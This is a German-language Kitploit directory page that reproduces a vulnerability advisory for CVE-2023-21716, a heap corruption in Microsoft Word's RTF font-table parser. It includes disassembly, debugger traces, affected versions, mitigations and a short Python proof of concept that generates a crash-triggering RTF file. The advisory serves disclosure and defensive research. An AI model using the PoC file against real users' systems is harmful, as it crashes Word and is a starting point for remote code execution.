Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-21716 — Eine Sicherheitslücke in der wwlib-Komponente von Microsoft Office ermöglicht es Angreifern, mit den Berechtigungen des Opfers, das ein bösartiges RTF-Dokument öffnet, Remotecodeausführung zu erreichen. Der Angreifer könnte diese Datei als E-Mail-Anhang (oder auf andere Weise) zustellen. | Kitploit
Tools/GitHubGitHub/gyaansastra/cve-2023-21716
Payload-GenerierungSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubgyaansastra/cve-2023-21716

CVE-2023-21716

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Eine Sicherheitslücke in der wwlib-Komponente von Microsoft Office ermöglicht es Angreifern, mit den Berechtigungen des Opfers, das ein bösartiges RTF-Dokument öffnet, Remotecodeausführung zu erreichen. Der Angreifer könnte diese Datei als E-Mail-Anhang (oder auf andere Weise) zustellen.

596vor 10 MonatenVon Kitploit geprüft
Teilen

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption

Eine Sicherheitslücke in Microsoft Office's wwlib ermöglicht es Angreifern, Code mit den Berechtigungen des Opfers auszuführen, das ein bösartiges RTF-Dokument öffnet. Der Angreifer könnte diese Datei als E-Mail-Anhang (oder auf andere Weise) zustellen.

Hintergrund

Microsoft Word ist die Textverarbeitungsanwendung, die in Microsoft Office enthalten ist. Bei einer Standardinstallation verarbeitet Microsoft Word Rich-Text-Format (RTF)-Dokumente. Solche Dokumente bestehen hauptsächlich aus 7-Bit-ASCII-basierten Schlüsselwörtern, die zusammen eine Vielzahl von Rich-Content-Inhalten kapseln können.

Details zur Sicherheitslücke

Der RTF-Parser in Microsoft Word enthält eine Heap-Korruptions-Schwachstelle beim Umgang mit einer Font-Tabelle (\fonttbl), die eine übermäßige Anzahl von Schriftarten (\f###) enthält. Bei der Verarbeitung von Schriftarten wird der Schriftart-ID-Wert (die Zahlen nach einem \f) von folgendem Code verarbeitet:

{% highlight asm %} 0d6cf0b6 0fbf0e movsx ecx,word ptr [esi] ; load base idx 0d6cf0b9 0fbf5602 movsx edx,word ptr [esi+2] ; load font idx 0d6cf0bd 8d1451 lea edx,[ecx+edx2] ; multiply by ~3 0d6cf0c0 668b08 mov cx,word ptr [eax] ; load the codepage value 0d6cf0c3 66894c5604 mov word ptr [esi+edx2+4],cx ; write the code page {% endhighlight %}

Wie gezeigt, wird der Schriftart-ID-Wert durch die "movsx"-Anweisung bei 0xd6cf0c3 geladen. Diese Anweisung erweitert den Wert mit Vorzeichen und füllt somit die oberen Bits von edx mit ffff. Der folgende Debugger-Auszug veranschaulicht das Laufzeitverhalten:

root@kitploit:~
*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)

Wenn dies geschieht, korrumpiert die Speicherschreib-Anweisung bei 0xd6cf0c3 den Heap, indem sie die Schriftart-Codepage an einen negativen Offset des in esi gehaltenen Speichers schreibt. Der folgende Debugger-Auszug zeigt den Out-of-Bounds-Speicherschreibvorgang.

root@kitploit:~
*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]

Nach dieser Speicherkorruption findet eine weitere Verarbeitung statt. Mit einem geeignet präparierten Heap-Layout kann ein Angreifer die Heap-Korruption ausnutzen, um beliebigen Code auszuführen.

Bei Verwendung des unten bereitgestellten Proof-of-Concept-Codes erreicht die Verarbeitung schließlich den Bereinigungscode nach der Verarbeitung. Wie erwartet wird RtlFreeHeap aufgerufen und erkennt die Heap-Korruption, wie unten gezeigt.

root@kitploit:~
Critical error detected c0000374
(3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll_77a40000!RtlReportCriticalFailure+0x4b:
77b27012 cc              int     3
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo])
01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4])
02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo])
03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo])
04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo])
05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo])
06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo])
07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo])
08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo])
09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo])
0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo])
0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4])
0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo])
19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Analysten können auch Page Heap verwenden, um zu überprüfen, ob der Code versucht, außerhalb der Grenzen zu schreiben. Dies führt zu Folgendem:

root@kitploit:~
(afe8.9a5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wwlib!FSearchFtcmap+0x150:
0dc1f0c3 66894c5604      mov     word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=????
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo])
01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo])
02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])
03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])
04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])
05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo])
12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Betroffene Versionen

Diese Sicherheitslücke betrifft mindestens die folgenden Versionen von Microsoft Office:

  • Microsoft Office 365 (Insider Preview – 2211 Build 15831.20122 CTR)
  • Microsoft Office 2016 (einschließlich Insider Slow – 1704 Build 8067.2032 CTR)
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

Ältere Versionen können ebenfalls betroffen sein, wurden aber nicht getestet. Darüber hinaus haben sich die technischen Details dieser Sicherheitslücke im Laufe der Jahre weiterentwickelt.

Gegenmaßnahmen

Microsoft Office 2010 und höher verwenden die Geschützte Ansicht, um Schäden durch bösartige Dokumente aus nicht vertrauenswürdigen Quellen zu begrenzen. Die Geschützte Ansicht ist wirksam, wenn diese Sicherheitslücke auftritt, sodass eine zusätzliche Sandbox-Escape-Sicherheitslücke erforderlich wäre, um vollständige Berechtigungen zu erlangen.

Das Entfernen der Dateizuordnung für die RTF-Erweiterung ist wirkungslos, da die Verwendung einer DOC-Erweiterung immer noch den anfälligen Code erreicht.

Danksagung

Dieses Problem wurde von Joshua J. Drake (@jduck) entdeckt, analysiert und gemeldet.

Proof-of-Concept

Das folgende Python-Skript erzeugt eine Datei, die dieses Problem auslöst:

{% highlight Python %} #!/usr/bin/python

PoC for:

Microsoft Word RTF Font Table Heap Corruption Vulnerability

import sys

allow overriding the number of fonts

num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1])

f = open("tezt.rtf", "wb") f.write("{\rtf1{\n{\fonttbl") for i in range(num): f.write("{\f%dA;}\n" % i) f.write("}\n") f.write("{\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write("}}\n") f.close() {% endhighlight %}

Testhinweise

Das wiederholte Ausführen von Microsoft Word mit dieser fehlerhaften Eingabe löst sowohl den "Abgesicherten Modus" als auch eine dateispezifische Sperrliste aus. Um das Verhalten zu beobachten, das ein Opfer sehen würde, sollte der Tester vor erneuten Tests das Flag für den "Abgesicherten Modus" und die dateispezifische Sperrliste zurücksetzen. Andernfalls reicht es für erneute Tests aus, den "Abgesicherten Modus" abzulehnen und auf "Trotzdem öffnen" zu klicken.

Die Verwendung umfangreicher Breakpoints (wie unten angegeben) in WinDbg und das Aktivieren von Page Heap können den Startvorgang erheblich verlangsamen. Der Forscher beobachtete während der Tests Situationen, in denen der anfällige Code nicht erreicht wurde. Es wurde nur minimaler Aufwand betrieben, um die Ursache zu ermitteln, aber es scheint im Zusammenhang mit einer Kombination aus Page Heap, umfangreichen Breakpoints und einem Dialog "Was ist neu" zu stehen.

Anhang

Das folgende Skript wurde in WinDbg verwendet, um die obige Ausgabe zu erzeugen. Alle Auszüge wurden mit Office 365 Insider Preview 2211 Build 15831.20122 CTR erstellt.

root@kitploit:~
* clear all breakpoints
bc *
* hide the debugger
e ebx+2 00
* run until wwlib is loaded
xe ld:wwlib
g; wait
* make the breakpoints
* watch index calculations
bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"
* watch the writes
bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"
g

EOF

Tool herunterladen